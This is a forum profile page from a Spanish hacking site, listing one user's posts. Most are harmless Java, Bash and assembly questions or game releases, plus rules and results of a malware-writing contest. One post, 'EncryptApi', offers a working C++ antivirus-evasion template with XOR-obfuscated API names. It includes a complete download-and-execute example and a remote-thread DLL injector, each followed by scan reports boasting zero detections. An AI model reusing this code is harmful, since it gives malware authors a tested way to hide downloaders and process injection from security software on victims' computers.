Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - ~~

#1
Java / Problema escribiendo en resource
31 Mayo 2009, 17:54 PM
Hola

Estoy haciendo una aplicación que tiene algunos datos configurables por el usuario (véase el idioma). Para ello si se inicia la aplicación por primera vez muestro un dialogo en el que se puede escoger un idioma de una lista.

Para saber si ya se ha escogido el idioma tengo un archivo properties así:

# Si ya está configurada la aplicación
IS_CONFIG=FALSE

# El idioma seleccionado
LANGUAGE=es

# Mas campos...


Este archivo se encuentra dentro del propio jar de mi aplicación, para leerlo no tengo ningún problema, obtengo su URL y todo arreglado.

El problema se me plantea al escribir la configuración en él.
El código que tengo es este:
Código (java) [Seleccionar]

    public void saveIsConfigurado(boolean isConfig) throws IOException
    {
        // Cargamos el archivo properties
        Properties prop = new Properties();
        prop.load(getUrl(ARCHIVO_CONFIGURACION).openStream());

        // Ponemos si está o no configurado
        if(isConfig)
            prop.setProperty(IS_CONFIG, TRUE);
        else
            prop.setProperty(IS_CONFIG, FALSE);

        // Guardamos el archivo
        FileOutputStream fos = new FileOutputStream(getUrl(ARCHIVO_CONFIGURACION).getFile());
        prop.store(fos, ARCHIVO_CONFIGURACION);
    }


Me lanza esta excepción FileNotFound al intentar guardar la propiedad:
Citar
/home/e0n/.../nombre jar!/resources/config/config.properties (No such file or directory)

Si alguien me pudiera echar una mano le estaría muy agradecido
Salu2
#2
      Con ánimo de organizar un poco mejor la extensa información de este subforo se van a crear nuevos post recopilatorios. Por favor, dado el gran número de post del foro es muy posible que algún post se nos pase por alto, no dudes en mandarme un MP para que se incluya en el recopilatorio. Si se encuentra algún error lo mismo ;)

      En este post se recopilarán todas las herramientas, manuales y códigos presentados en este evento desde sus inicios.





Abril Negro 2006:

Esta fue la primera edición del ya tradicional evento. Abril Negro se empezaría a lanzar a partir de este año, obviamente todos los meses de abril, para permitir a todos los usuarios hablar de los temas "tabú" del foro:
http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro-t112698.0.html

De igual manera se motiva a los usuarios a escribir toda clase de manuales, liberar códigos o diseñar herramientas de seguridad caseras, una muestra de lo que se hizo este año:

Recopilación de manuales:
http://foro.elhacker.net/analisis_y_diseno_de_malware/papers_abril_negro-t113673.0.html

Algunas herramientas que he podido rescatar:
http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_generador_de_worms_en_batch_by_hendrix-t118254.0.html
http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_fake_by_higochumbo-t116693.0.html
http://foro.elhacker.net/analisis_y_diseno_de_malware/primary_hacktool_v30_benru_sergi-t119661.0.html





Abril Negro 2007:

Este año Abril Negro tomo desgraciadamente un tono más negro de lo deseado y no se hizo mucha cosa, un post en el que se pusieron scripts maliciosos y muchas preguntas de como usar troyanos en el foro, por suerte eso cambiaría en años posteriores:
http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2007-t160386.0.html





Abril Negro 2008:

No con poca polémica, quizás por los resultados del año anterior, consiguió una vez más ver la luz este evento. Esta vez, el objetivo fue retomar el espíritu de los inicios del evento publicando más manuales, más herramientas y más códigos y se consiguió.
http://foro.elhacker.net/analisis_y_diseno_de_malware/black_april_2008-t205970.0.html

Esta es una muestra de lo que he conseguido rescatar del foro:

Talleres y herramientas/códigos:






Abril Negro 2009:

En esta edición los usuarios del foro se salieron. Gracias a la instauración de las nuevas normas y del pertinente cambio del nombre del foro se acusó una interesante subida de nivel.

En esta ocasión se llevó a cabo un concurso:
http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009_concurso_de_desarrollo_de_malware-t252105.0.html

Y pese a que no se publicó ningún manual se publicaron un total de 24 herramientas/códigos y esta vez todo lo que veis aquí es lo que se publicó gracias la la pertinente recopilación:
http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009-t250385.0.html

Herramientas/Códigos:

#3
    Tema principal:
    http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009_concurso_de_desarrollo_de_malware-t252105.0.html

    Para más información:



    Resultado:

    • Premio a mejor código: Hacker_Zero y hkm (Empate)
    • Premio a la aplicación más original: Hacker_Zero y Jubjub (Empate)
    • Ganador de la votación: Hacker_Zero (tras conseguir 14 puntos extra por los dos premios anteriores)

      El-brujo se pondrá en contacto con vosotros para daros vuestro premio.

      Muchas felicidades a lo ganadores. Felicidades también a el resto de participantes por poner tanto empeño en vuestras aplicaciones y gracias al resto por colaborar en este Abril Negro haciendo que haya sido uno de los mejores ;)
    #4
    EncryptApi:

    • ¿Qué es EncryptApi?

      EncryptApi es una platilla escrita en C++ que vale para cifrar de una forma sencilla e intuitiva nuestras api's evitando la detección heurística por parte de los antivirus de nuestro código.
      Su uso es tan simple como este:

      Código (cpp) [Seleccionar]
      #include "EncryptApi.hpp"

      int main()
      {
      EncryptApi<int> myMessageBox("MessageBoxA","User32.dll", 5);
      int retorno = myMessageBox(4, 0, "HOLA MUNDO!!", ":D", 0);
      }


    • ¿Qué es cada parámetro?

      Como habréis visto el uso es bastante simple, la declaración funciona así:

      Código (cpp) [Seleccionar]
      EncryptApi<tipo_valor_de_retorno> (nombre_del_api, nombre_de_la_dll, numero_de_bytes_a_copiar);

      Y gracias a la sobrecarga del operador () se puede llamar al api como se haría normalmente tan solo indicando en el primer parámetro el número total de parámetros del api.

    • ¿Qué es número_de_bytes_a_copiar?

      Esta es la única parte parte que tiene un poco de dificultad. Internamente la clase crea un buffer donde copia los bytes que le indiquemos en este parámetro he introduce un salto a la dirección del api más número_de_bytes_a_copiar.
      De esta forma la clase, en vez de llamar al api, llama a este buffer, ejecutándose todo el código del api pero sin realizar una llamada directa, por lo que los antivirus ni se enteran.

      ¿Cómo podemos saber cuanto vale este valor? Pues muy fácil, ejecutamos el archivoDirApi.exe, que nos devolverá la dirección del api en memoria. Su código es este:

      Código (cpp) [Seleccionar]
      #include <windows.h>
      #include <iostream>
      using namespace std;

      void main()
      {
      char nombreApi[50];
      char nombreDll[50];

      cout << "Introduzca el nombre del api:   ";
      cin  >> nombreApi;
      cout << "Introduzca el nombre de la dll: ";
      cin  >> nombreDll;

      cout << "\nLa direccion del api es: "
      << GetProcAddress(LoadLibraryA(nombreDll), nombreApi) << endl;

      system("pause");
      }


      En el caso del ejemplo la salida en mi PC es la siguiente:

      CitarIntroduzca el nombre del api:   MessageBoxA
      Introduzca el nombre de la dll: User32.Dll

      La direccion del api es: 77D504EA
      Presione una tecla para continuar . . .

      Así que abrimos con nuestro debugger favorito la dll en cuestión, nos vamos a esa dirección y nos fijamos en el número de bytes completos que podemos elegir, es decir, si la primera instrucción ocupa 5 bytes elegimos ese valor, en ningún caso se puede partir por la mitad una instrucción, pues el programa no funcionaría.

    • ¿Y los resultados?

      Pues voy aponer dos ejemplos típicamente detectados, un simple downloader y un inyector (usa CreateRemoteThread).

      DOWNLOADER:
      Código (cpp) [Seleccionar]

      #include "EncryptApi.hpp"

      void xor(char *str, const char *clave, const int tamStr, const int tamClave)
      {
      for(int n=0; n<=tamStr; n++)
      str[n] ^= clave[n%tamClave];
      }

      int main()
      {
      // Encriptacion de cadenas
      const char key[] = "df5DF4s";
      const int  tamKey = 7;

      char strURLDownloadToFileA[] = { 0x31, 0x34, 0x79, 0x0, 0x29, 0x43, 0x1d, 0x8, 0x9, 0x54, 0x20,
              0x12, 0x5b, 0x35, 0xd, 0xa, 0x50, 0x5, 0x46 };
      char strUrlmon[] =             { 0x31, 0x14, 0x59, 0x29, 0x29, 0x5a, 0x5d, 0x0, 0xa, 0x59, 0x44 };
      char strShellExecuteA[] =      { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x71, 0xb, 0x1, 0x5, 0x40, 0x30, 0x23, 0x75, 0x73 };
      char strShell32[] =            { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x7, 0x41, 0x4a, 0x2, 0x59, 0x28, 0x46 };

      xor(strURLDownloadToFileA, key, sizeof(strURLDownloadToFileA)-1, tamKey);
      xor(strUrlmon,             key, sizeof(strUrlmon)-1,             tamKey);
      xor(strShellExecuteA,      key, sizeof(strShellExecuteA)-1,      tamKey);
      xor(strShell32,            key, sizeof(strShell32)-1,            tamKey);

      // Codigo
      EncryptApi<HRESULT>   myURLDownloadToFile(strURLDownloadToFileA, strUrlmon, 11);
      EncryptApi<HINSTANCE> myShellExecute     (strShellExecuteA, strShell32, 5);

      myURLDownloadToFile (5, 0, "http://foro.elhacker.net/Themes/converted/selogo.jpg", "C:\\imagen.jpg", 0, NULL);
      myShellExecute      (6, 0, "open", "C:\\imagen.jpg", NULL, NULL, SW_SHOW);
      }


      Detección:
      Citar
      File Info

      Report generated: 16.5.2009 at 14.53.10 (GMT 1)
      File size: 8 KB
      MD5 Hash: 70B16F803C25C5E50A27A07F765CDB68
      SHA1 Hash: 98190B3085CCFAFC91BCF4458A072728C2E0D895
      Self-Extract Archive: Nothing found
      Binder Detector:  Nothing found
      Detection rate: 0 on 23

      Detections

      a-squared - Nothing found!
      Avira AntiVir - Nothing found!
      Avast - Nothing found!
      AVG - Nothing found!
      BitDefender - Nothing found!
      ClamAV - Nothing found!
      Comodo - Nothing found!  
      Dr.Web - Nothing found!
      Ewido - Nothing found!
      F-PROT 6 - Nothing found!
      IkarusT3 - Nothing found!
      Kaspersky - Nothing found!
      McAfee - Nothing found!  
      MHR (Malware Hash Registry) - Nothing found!
      NOD32 v3 - Nothing found!  
      Norman - Nothing found!
      Panda - Nothing found!
      Quick Heal - Nothing found!
      Solo Antivirus - Nothing found!
      Sophos - Nothing found!
      TrendMicro - Nothing found!
      VBA32 - Nothing found!    
      Virus Buster - Nothing found!

      Scan report generated by  
      NoVirusThanks.org


      INYECTOR:
      Código (cpp) [Seleccionar]
      #include "EncryptApi.hpp"

      void xor(char *str, const char *clave, const int tamStr, const int tamClave)
      {
      for(int n=0; n<=tamStr; n++)
      str[n] ^= clave[n%tamClave];
      }

      int main()
      {
      // Encriptacion de cadenas
      const char key[] = "df5DF4s";
      const int  tamKey = 7;

      char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b,
                                  0x16, 0x3, 0x54, 0x20, 0x46 };
      char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16,
                                  0x9, 0x9, 0x47, 0x3d, 0x46 };
      char strVirtualAllocEx[]     = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb,
                                  0x64 };
      char strOpenProcess[]        = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 };
      char strGetModuleHandleA[]   = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f,
                                    0x1, 0x27, 0x35 };
      char strGetProcAddress[]     = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0,
                                  0x64 };
      char strCloseHandle[]        = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 };
      char strKernel32[]           = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 };


      xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey);
      xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey);
      xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey);
      xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey);
      xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey);
      xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey);
      xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey);
      xor(strKernel32, key, sizeof(strKernel32)-1, tamKey);

      EncryptApi<HANDLE>  myOpenProcess         (strOpenProcess, strKernel32, 5);
      EncryptApi<HMODULE> myGetModuleHandle     (strGetModuleHandleA, strKernel32, 5);
      EncryptApi<FARPROC> myGetProcAddress      (strGetProcAddress, strKernel32, 5);
      EncryptApi<LPVOID>  myVirtualAllocEx      (strVirtualAllocEx, strKernel32, 7);
      EncryptApi<BOOL>    myWriteProcessMemory  (strWriteProcessMemory, strKernel32, 5);
      EncryptApi<HANDLE>  myCreateRemoteThread  (strCreateRemoteThread, strKernel32, 5);
      EncryptApi<BOOL>    myCloseHandle         (strCloseHandle, strKernel32, 5);

      // Inyeccion dll
      HANDLE proceso;
      LPVOID RemoteString;
      LPVOID nLoadLibrary;
      int pid = 1988;
      char rutaDll[] = "C:\\Dll.dll";

      proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid);
      nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
      RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
      myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
      myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
      myCloseHandle(1,proceso);


      return 0;
      }


      Detección:
      CitarFile Info

      Report generated: 16.5.2009 at 16.28.41 (GMT 1)
      File size: 11 KB
      MD5 Hash: 52CDDB1FB86FD33D2FFF238FDAB67CED
      SHA1 Hash: 029C18B8FECC2522C65AB88C04D820EF32ECC091
      Self-Extract Archive: Nothing found
      Binder Detector:  Nothing found
      Detection rate: 0 on 23

      Detections

      a-squared - Nothing found!
      Avira AntiVir - Nothing found!
      Avast - Nothing found!
      AVG - Nothing found!
      BitDefender - Nothing found!
      ClamAV - Nothing found!
      Comodo - Nothing found!  
      Dr.Web - Nothing found!
      Ewido - Nothing found!
      F-PROT 6 - Nothing found!
      IkarusT3 - Nothing found!
      Kaspersky - Nothing found!
      McAfee - Nothing found!  
      MHR (Malware Hash Registry) - Nothing found!
      NOD32 v3 - Nothing found!  
      Norman - Nothing found!
      Panda - Nothing found!
      Quick Heal - Nothing found!
      Solo Antivirus - Nothing found!
      Sophos - Nothing found!
      TrendMicro - Nothing found!
      VBA32 - Nothing found!    
      Virus Buster - Nothing found!

      Scan report generated by  
      NoVirusThanks.org

      Como podéis ver de forma complementaria he usado una función para cifrar algunas cadenas, pues algún AV detectaba el ejecutable simplemente por contener esos strings sospechosos. Podéis usar cualquier cifrado, aunque un simple xor basta. He adjuntado el archivo XOR.exe que os devuelve la cadena cifrada para que la metáis en vuestro código directamente.

      Todos los códigos han sido compilados con VC++ 2008 express edition.


      Más información:
      http://e0n-productions.blogspot.com/2009/05/encryptapi.html

      Descarga:
      http://e0n-productions.awardspace.com/codigos/EncryptApi.rar_

      Traducción de la parte en asm a AT&T por Arcangel_0x7C5:
      http://arkangel.comuf.com//c++/EncryptApi.hpp
    #5
    Hola

    De siempre he tenido entendido que el VirtualSize debía ser menor que el RawSize, que el RawSize debía ser múltiplo del FileAlignment y que la diferencia debía estar rellenada con ceros.

    Por ejemplo, si un ejecutable tiene FileAlignment 10 y una sección tiene un VirtualSize = 22 el RawSize debería ser 30 y que los últimos 8 bytes de la sección deberían ser ceros.

    Y siempre lo he visto así en los exe's generados por el compilador, pero hoy me he puesto a añadir una sección con el Stud PE y para añadirla me pedía únicamente VirtualSize y RawSize, yo he puesto un RawSize múltiplo del FileAlignment (aunque si no es múltiplo funciona igual) y mi sorpresa es que cuando añado el VirtualSize (menor que el RawSize) me dice que tiene que ser mayor  :o :o

    Si lo pongo el exe funciona, de hecho si luego lo dejo menor peta, pero por que hay que hacerlo así?? no le veo sentido, si yo quiero introducir código en esa sección no puedo meter más código del que entra, que es lo que me están diciendo....

    Vamos, supongamos que quiero hacer una sección nueva que contendrá 15 bytes, si el FileAlignment es 10 el RawSize debería ser 20, pero no me deja, me obliga a poner un RawSize = 10... y donde meto yo los 5 bytes restantes???

    A ver si alguien puede aclararme esto..
    Salu2
    #6

    Concurso de desarrollo de malware



    • Bases del concurso:

      Para participar en el concurso hará falta presentar un trabajo ya sea una herramienta o un código, reaccionado con cualquier aspecto del malware, como puede ser una nueva técnica de infección, un método para eludir la heurística de X antivirus o una herramienta completa, por citar algunos ejemplos.

      Todo trabajo debe de ser open source, para poder apreciar la verdadera calidad del mismo. El post de presentación del trabajo debe tener una estructura similar a la siguiente:

           - Nombre del autor
           - Nombre de la herramienta
           - Lenguaje(s) en los que está diseñado
           - Descripción del trabajo
           - Captura de pantalla (en el caso de tener interfaz)
           - Link de descarga que contendrá el código fuente y el archivo ejecutable


    • Método de calificación:

      Los principales jueces de este evento seréis vosotros mismos con vuestros votos. Para evitar que solo se valore el aspecto gráfico del trabajo (ya que es lo primero que se ve)  se incluirán dos criterios más de calificación:

           - El trabajo más original
           - El mejor código

      Los miembros de el staff de elhacker.net serán los encargados de valorar estos dos aspectos de los trabajos, quedando lógicamente excluidos de la valoración de sus propios trabajos.
      La puntuación extra por obtener uno de estos dos títulos es el equivalente a obtener un +10% de los votos totales emitidos por los usuarios redondeados a la baja.

      Dicho de otra forma, si en total los usuarios del foro han emitido 65 votos en total, una aplicación con uno de estos dos títulos obtendría 6 puntos extra.


    • Plazos:

      Desde la fecha actual hasta el día 30 de abril en este post se permitirán hacer todo tipo de preguntas acerca de el concurso, comentarios indicando que se va a participar (recomendado para saber más o menos el número de personas que participarán) y publicar, en caso de haberse finalizado, el trabajo con el que se participará, que irá a parar a la recopilación del evento

      El día 30 de abril todos los comentarios hechos en este post, a excepción de la presentación de los trabajos serán borrados y solo se permitirá la publicación de nuevos trabajos.

      El día 17 de mayo  se cerrará el tema, no permitiendo de este modo la publicación de nuevos trabajos, y se añadirá una encuesta para que los usuarios puedan votar durante una semana el trabajo que más les haya gustado , hasta el día  24 de mayo. Para más información ver "Método de calificación.


    • Premios:

      El concursante que obtenga más puntos ganará una cuenta de correo @elhacker.net así como la publicación de su herramienta en el tablón de novedades de la web.

      Para los concursantes que hayan obtenido el título al mejor código o el trabajo más original habrá una cuenta de correo @elhacker.net.

      Para el resto de participantes que no reúnan ninguna de las condiciones anteriores también habrá premio. Su trabajo aparecerá en el tema recopilatorio de Abril Negro 2009, por no hablar de lo que aprenderán con el reto que siempre supone un nuevo proyecto.

      Y por supuesto el mayor premio será para todos los usuarios del foro por la posibilidad que el concurso les brinda para ver nuevos e innovadores códigos.




      Trabajos:



    • BeEFYPROXY - MITM Web por hkm

    • Su Do Scam por Jubjub

    • Gusano Tribant (p2p y usb) por dober-mann

    • Virus PLUTON por sk8erboi

    • Karcrack Ransom por Karcrack

    • Una mirada distinta a la conexión de un malware ó troyano por LixKeÜ

    • BHC (Batch Hide Compiler 2.0) por WHK

    • Virus Metamorph por Hacker_Zero

    • IntelliSense por 43H4FH44H45H4CH49H56H45H




      Votaciones:

      http://foro.elhacker.net/analisis_y_diseno_de_malware/abril_negro_2009_encuesta_del_concurso_de_desarrollo_de_malware-t255183.0.html
    #7
    Scripting / [Bash] Obtener la posición del cusor
    22 Febrero 2009, 13:07 PM
    Hola

    Alguien sabe como puedo obtener la posición del cursor en bash? Se que en alguna variable tiene que guardarse ya que con "tput sc" se puede guardar la posición del cursor para luego restaurarla... pero no se donde ni si se puede acceder a ella (si es necesario hacerlo en C por que bsh no es potente no hay problema ;))

    Salu2 y gracias, E0N
    #8
    Java / Problema con Mediatracker
    22 Diciembre 2008, 19:54 PM
    Hola

    Estoy realizando una aplicación que me tiene que pintar sobre un JFrame una imagen de fondo (cargada en un BufferedImage) e ir pintando dentro de ese mismo BufferedImage distintas figuras geométricas.
    El problema es que la imagen de fondo es de tamaño 800x600 que se pinta en la constructora de la clase "Fondo" y no le da tiempo. Pongo el código y luego explico con más detalle:

    Main.java:
    Código (java) [Seleccionar]

    public class Main extends JFrame
    {   
        // Ancho y alto de la ventana
        private final int ANCHO = 800;
        private final int ALTO  = 600;   
       
        // El media tracker
        MediaTracker tracker;
       
        // El fondo
        Fondo fondo;
       
        /***************************************************************************
         **************************       INCIALIZAR      **************************
         ***************************************************************************/
       
        public static void main(String[] args) { new Main(); }
       
        Main()
        {
            // Inicializamos los objetos
            tracker = new MediaTracker(this); // El media tracker que usaré comúnmente a todas las clases
            fondo   = new Fondo(tracker);
           
            // Inicializamos las propiedades de la ventana
            this.setTitle("Roimpiendo texturas");
            this.setSize (ANCHO, ALTO);
            this.setDefaultCloseOperation(EXIT_ON_CLOSE);
            this.setLocation(150, 150);
            this.setVisible(true);       
        }

       
        /***************************************************************************
         **************************        DIBUJAR        **************************
         ***************************************************************************/
       
        private void dobleBuffer(Graphics2D g2)
        {     
            fondo.dibujar(g2, tracker);
           
            repaint();       
        }
       
        public void paint (Graphics g)
        {
            Graphics2D g2 = (Graphics2D) g;
           
            Image mImagen = createImage(ANCHO, ALTO);
            dobleBuffer((Graphics2D)mImagen.getGraphics());
           
            g2.drawImage(mImagen, 0, 20, this);
           
            try { Thread.sleep(100); } catch(Exception e) {}
        }   
    }


    Fondo.java:
    Código (java) [Seleccionar]

    public class Fondo
    {
        // Propiedades de las imágenes
        private final String  rutaImagen = "imagenes/fondo.gif";
        private BufferedImage imagen;
       
        public final int anchoImagen = 800;
        public final int altoImagen  = 600;
       
           
        /***************************************************************************
         ***************************    CONSTRUCTORAS    ***************************
         ***************************************************************************/
       
        public Fondo(MediaTracker tracker)
        {
            // Inicializamos el buffer sobre el que pintaremos
            imagen = new BufferedImage (anchoImagen, altoImagen, BufferedImage.TYPE_INT_ARGB);
           
            // Dibujamos dentro del buffer el fondo
            Graphics2D g = imagen.createGraphics();
            Image aux = Toolkit.getDefaultToolkit().getImage(Main.class.getResource(rutaImagen));
           
           
            // Añadimos las imagenes al MediaTracker
            tracker.addImage(aux, 0);

            g.drawImage(aux, 0, 0, null);
           
            // Aquí intento que espere hasta que esté pintado pero sin éxito...       
            try{tracker.waitForAll();}catch(Exception e){}
        }
       
           
        /***************************************************************************
         ***************************       DIBUJAR       ***************************
         ***************************************************************************/
       
        public void dibujar(Graphics2D g2, MediaTracker tracker)
        {             
            g2.drawImage(imagen, 0, 0, null);
            //try{tracker.waitForAll();}catch(Exception e){} // ¿Es necesario?
        }

    }



    Como podéis ver el mecanismo de la clase fondo es simple, en la constructora dibuja el fondo (se supone que el objeto MediaTracker debería esperar a que lo hiciese...) y en el método dibujar simplemente dibuja el BufferedImage ya que hay otros métodos encargados de dibujar sobre el mismo figuras geométricas como decía al principio.

    Ahora mis dos dudas:
    1 - ¿Cómo puedo hacer que realmente el programa espere a que el fondo esté pintado?
    2 - ¿Está bien inicializado el objeto MediaTracker? Ya que no entiendo muy bien la explicación de la constructora en la documentación:
    http://java.sun.com/j2se/1.4.2/docs/api/java/awt/MediaTracker.html

    1S4ludo y gracias ;)
    #9
    Java / [Source] Pong by E0N
    6 Septiembre 2008, 01:52 AM
    Hola

    Pues aquí traigo otro ejemplo de arcade simple, esta vez ya lo e hecho un poco más completo, con su pantalla para seleccionar juego jugador contra jugador o para juagr contra el Pc, para elegir una opción u otra basta con pulsar 1 o 2 (con el teclado numérico a mi por lo menos no me funciona, así que usad los números de encima de las teclas)


    Una vez elijáis el modo de juego llegaréis a esta pantalla donde ya podréis disfrutar de este simple, aunque entretenido juego xDDD


    El player 1 siempre maneja su paleta con las flechas de dirección arriba y abajo y el player 2 (en caso de elegir jugar con un amigo) lo hará con las teclas "Q" y "A".

    Por supuesto el código fuente viene incluido en el zip para que podáis ver como funciona y modificarlo a vuestro gusto.

    Bugs conocidos:
    - Si la pelota pasa rozando la paleta hará un movimiento un poco extraño y puede llegar a atascarse en el modo player vs computer.
    - Por lo menos en mi pc cuando ejecuto el programa desde el NetBeans funciona bien y fluidamente, si ejecuto el jar va a trompicones, si alguien fuese tan amable de testearlo a ver ;)


    Pues eso es todo, espero que podáis aprender algo del código y si tenéis alguna duda, sugerencia, insulto o amenaza pues prceded sin miedo en el post jajaja

    Salu2 E0N
    #10
    Java / [Source] Space Invaders
    2 Septiembre 2008, 13:00 PM
    Hola

    Acabo de terminar un arcade que imita en cierta parte a el mítico juego Space Invaders:


    La idea de hacer este juego, así como los sprites están sacados de esta web:
    http://www.planetalia.com/cursos/

    Eso si, el código no se parece en nada, así que tenéis dos ejemplos de lo mismo :P Aun le faltan muchas cosas por añadir, como niveles, unas animaciones más depuradas, un fondo, vidas, etc, etc.. Por ahora solo se puede jugar a un nivel que se acaba cuando matéis a los marcianitos o ellos a vosotros. Los marcianos chocan entre ellos, se mueven aleatoriamente y poco más jajaja Así que si queréis mejorarlo pues ya sabéis ;)

    Espero que a alguien le sea útil
    Salu2 E0N
    #11
    Java / JPopupMenu que no responde a eventos
    19 Agosto 2008, 02:19 AM
    Hola, veréis, ando haciendo una aplicación que lee una base de datos y la muestra en un JTable.

    La cosa es que la tabla tiene unos campos en los que puedes elegir entre varias opciones predeterminadas y para seleccionar unas u otras he decidido mostrar un JPopupMenu, ya que insertar un JComboBox se me hacía demasiado largo :P

    Lo añado así:
    Código (java) [Seleccionar]

            JPopupMenu pop = new JPopupMenu();
            JMenu sub = new JMenu("Submenu");     
                sub.add(new JMenuItem("Subitem 1"));
                sub.add(new JMenuItem("Subitem 2"));
            pop.add(sub);
            pop.add(new JMenuItem("Item 1"));
            pop.add(new JMenuItem("Item 2"));
               
            pop.setLocation(evt.getLocationOnScreen());
            pop.setVisible(true);;


    Lo raro es que al posicionar el ratón sobre el sub-menú no se extienden los sub-elementos ni nada, como lo hacen los menus normales...


    Estoy usando NetBeans, pero si añado los menúes desde el editor tampoco me funciona... Alguna sugerencia de como hacerlo o algún ejemplillo?

    Muchas gracias por adelantado
    Salu2

    #12
    Java / Como el ListView de .net o VB??
    5 Julio 2008, 00:32 AM
    Hola a todos

    Pues veréis, estoy haciendo un applet simple para gestionar una base de datos y me gustaría poder mostrar la información de dicha base de datos en una lista, solo que con columnas y pudiendo meter iconos y tal, vamos, lo que es un listView de toda la vida:


    Estoy usando NetBeans por acortar con la construcción de la interfaz y no veo ningún control similar a ese y en una lista normal la verdad es que limita bastante la forma de mostrar la información...

    ¿Alguien sabe de algún control similar al ListView para Java?

    Ya de paso pregunto otra cosa, si utilizo un List del awt no tengo problema en hacer:
    lst.add("Hola");

    Pero si uso un JList no puedo hacer eso.. como se añaden Strings a los JList?

    Perdón por las preguntas de novato, pero ando verde.
    Gracias y salu2
    #13
    Abril negro / Abril Negro 2008: Taller de ASM
    13 Abril 2008, 16:52 PM
    Abril Negro 2008: Taller de ASM by E0N


    INTRODUCCIÓN:

    Bienvenidos al taller de ASM. Abril Negro 2008.

    En este taller vamos a aprender a programar en ASM :P. Usaremos FASM como ensamblador ya que es gratuito y open source, lo podéis descargar de su página oficial: http://flatassembler.net/download.php . Así mismo nuestras aplicaciones serán de 32bits y correrán en procesadores x86.


    ¿QUÉ ES ASM?

    Bueno, como no quiero agobiaros con mucha teoría que casi todo el mundo conocerá simplemente cito de la wikipedia, que esto es un taller ¡nos interesa la práctica!

    Cita de: Wikipedia link= http://es.wikipedia.org/wiki/ASM
    El lenguaje ensamblador es un tipo de lenguaje de bajo nivel utilizado para escribir programas informáticos, y constituye la representación más directa del código máquina específico para cada arquitectura de computadoras legible por un programador.
    Fue usado ampliamente en el pasado para el desarrollo de software, pero actualmente sólo se utiliza en contadas ocasiones, especialmente cuando se requiere la manipulación directa del hardware o se pretenden rendimientos inusuales de los equipos.

    Convendría que os leyerais lo que pone en la wikipedia, por enteraros un poco de lo que trata el taller.


    LOS REGISTROS DEL MICROPROCESADOR:

    ASM es totalmente diferente a cualquier otro lenguaje de alto nivel que podáis conocer. Al usar ASM nos valemos directamente de los registro de nuestro microprocesador. No voy a explicar para que valen todos y cada uno de los registros, simplemente os indico los más representativos, que nos sobrarán para diseñar cualquier programa:

    EAX, EBX, ECX, EDX: Estos cuatro registros serán los que usemos principalmente para almacenar datos. Tienen el tamaño de un DWORD, es decir 4 bytes o lo que es lo mismo 32 bits. A su vez los podemos dividir en dos para referirnos a datos del tamaño de un WORD o 2 bytes y a su vez en dos para almacenar datos que ocupen un único byte. Para que quede más claro os dejo un dibujo de cómo queda dividido el registro y el nombre que toma:

    Por si el link está roto

    En la imagen e puesto el registro EAX de ejemplo, pero esto mismo es aplicable a los otros tres cambiando la A por una B, una C o una D según corresponda.

    EDI, ESI: Al igual que los cuatro anteriores los usaremos para almacenar datos, aunque tienen otras funciones. También podemos referirnos a ellos como SI o DI si queremos modificar sus 2 bytes más bajos.

    EIP: Este registro contendrá la dirección de la siguiente instrucción que se ejecutará.

    EBP, ESP: El registro EBP apunta a la Base de la pila y el ESP apunta a la parte Superior de la pila. La pila no es más que una estructura de tipo LIFO ( http://es.wikipedia.org/wiki/LIFO ) que nos servirá para pasar parámetros a las funciones o almacenar datos entre otras cosas. Más adelante todo esto se explicará con mayor claridad, pero para que os hagáis una idea, cuando vosotros en C o en otro lenguaje llamáis al api MessageBox por ejemplo en realidad pasa esto:

    Por si el link está roto

    Lo último que se mete en la pila con el call es la dirección de retorno, es decir, el valor que tomará el registro EIP al salir de la función para que el programa siga su curso normal. Si no entendéis muy bien esto ahora mismo no os preocupéis, luego se irá explicando todo con mayor detalle.


